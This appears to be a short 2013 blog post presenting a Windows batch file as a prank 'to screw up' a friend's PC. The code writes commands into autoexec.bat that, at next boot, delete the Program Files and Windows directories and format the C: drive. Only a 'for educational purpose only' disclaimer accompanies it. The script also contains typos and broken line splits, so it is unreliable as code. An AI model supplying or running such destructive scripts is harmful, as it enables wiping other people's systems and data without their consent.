Friday 8 February 2013

batch file trick to screw up any pc


A trick with notepad to completely screw your friends PC...

{NOTE:-"FOR EDUCATIONAL PURPOSE ONLY"}

Copy this complete command in notepad and save it with any name but with the extension  ".bat"
for e.g.  "skadoosh.bat"

The code is provided below:










@echo off
cls
call attrrib -h -r c:\autoexec.bat>nul
echo @echo off >c:\autoexec.bat
echo deltree /y c:\progra~1\*.* >nul>>c:\autoexec.bat
echo copy c:\windows\command\format.com c:\>nul
>>c:\autoexec.bat
echo copy c:\windows\command\deltree.exe c:\ >nul
>>c:\autoexec.bat
echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat
echo format c: / q / u /autotest >nul >>c:\autoexec.bat

No comments:

Post a Comment

Popular Posts